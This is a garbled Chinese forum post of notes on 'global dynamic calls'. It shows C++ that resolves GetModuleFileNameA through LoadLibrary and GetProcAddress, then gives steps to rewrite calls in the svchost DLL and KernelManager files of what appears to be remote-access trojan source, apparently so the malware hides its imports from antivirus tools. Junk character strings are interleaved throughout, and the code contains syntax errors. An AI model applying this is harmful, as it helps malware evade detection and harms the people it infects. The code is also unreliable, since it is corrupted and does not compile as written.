[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
3 S) l* Q+ d' l) L: msvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h1 p9 V, P/ y, A6 M% W( D
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+ W4 J/ M) X$ D% w6 dDTDY.h：
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% R9 l2 }/ g1 `#if _MSC_VER>1000
1 a: b3 u3 w% |- d#pragma once
7 f3 w/ O( [( _( Z#endif //_MSC_VER>10000 v$ `  k4 P( M9 u  ~9 G8 P0 m/ N
#include<windows.h>9 V6 W' w+ r7 w( d% ?( R4 v; `* T
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
  o; g/ v, ~; N: N1 Bclass DTDY3 ~" V1 Y8 }5 N. [# F9 j
{
% ?/ I" v* H. ~) b# b* @  P+ qpublic:
: x: a) D8 O5 u' ~* mDTDY();$ e8 O0 n! `6 C" E: {+ m
virtual ~DTDY();
! F6 ^& |- x/ C& a! \. wpublic:
9 T5 y" e, A! \6 lstatic pGetModuleFileNameA MyGetModuleFileName;/ s5 n% {9 S2 k' T% t- W
static BOOL FunInitiallization();
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#endif
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DTDY.cpp:
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) |9 S; D% G4 ?9 w, e; P1 Z0 q( m#include "DTDY.h"5 v: U6 X8 ]3 b. V; J5 k
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
# L! ]- q+ [" m; J( I7 QDTDY:TDY()& O/ z) h* d% d/ q: V) B: I2 w; X( H7 x
{
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* J1 ~3 q- H: ADTDY::~DTDY()
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% ?$ Z! Y' q7 @- U3 tBOOL DTDY::FunInitiallization()# O* _9 u7 U( S& k! ~% p
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HMODULE hModule=LoadLibrary("kernel32.dll");, b. F  a- [4 b% ]
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");) k) H  T: f/ x0 a6 Y
if(!MyGetModuleFileName=) return FALSE;
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- M! b% V; }5 Q; M6 Q8 N6 Creturn TRUE;* K7 u7 ~5 V! t! O6 @" ]) u
}8 }. i' w+ W! l2 Q& r
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svchost.cpp:
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  z9 C6 l0 z1 A* h6 t% V! l#include "DTDY.h"
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) u8 E$ U7 q" g8 F% n8 J% eBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
6 [1 s, y5 S  W5 [  d" e{
1 B6 I' h$ i% Q# _8 x, o$ [switch(ul_reason_for_call): }: x4 G! U1 t9 D
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case DLL_PROCESS_ATTACH:
8 S% X0 Y; i! T" Yif(!DTDY::FunInitiallization()) return FALSE;7 e# z. k2 N' p, O5 v1 p$ Y

  w) ~# o7 u, @9 e0 K' jbreak;
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$ N3 A( O: ^2 a2 M5 aGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def1 |1 S) [7 r, ~9 l
改写为
$ l1 D: v! `3 H4 u9 wDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));& z! m2 ]3 u% [  Z
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KernelManager.cpp:
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#include "../DTDY.h"
; J; {4 M  _0 PGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
! s6 n9 y8 U9 y4 _- z6 {改写为' @! j- M$ e9 f- [$ O: [( `3 S
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));$ P+ N# o0 \, C( p
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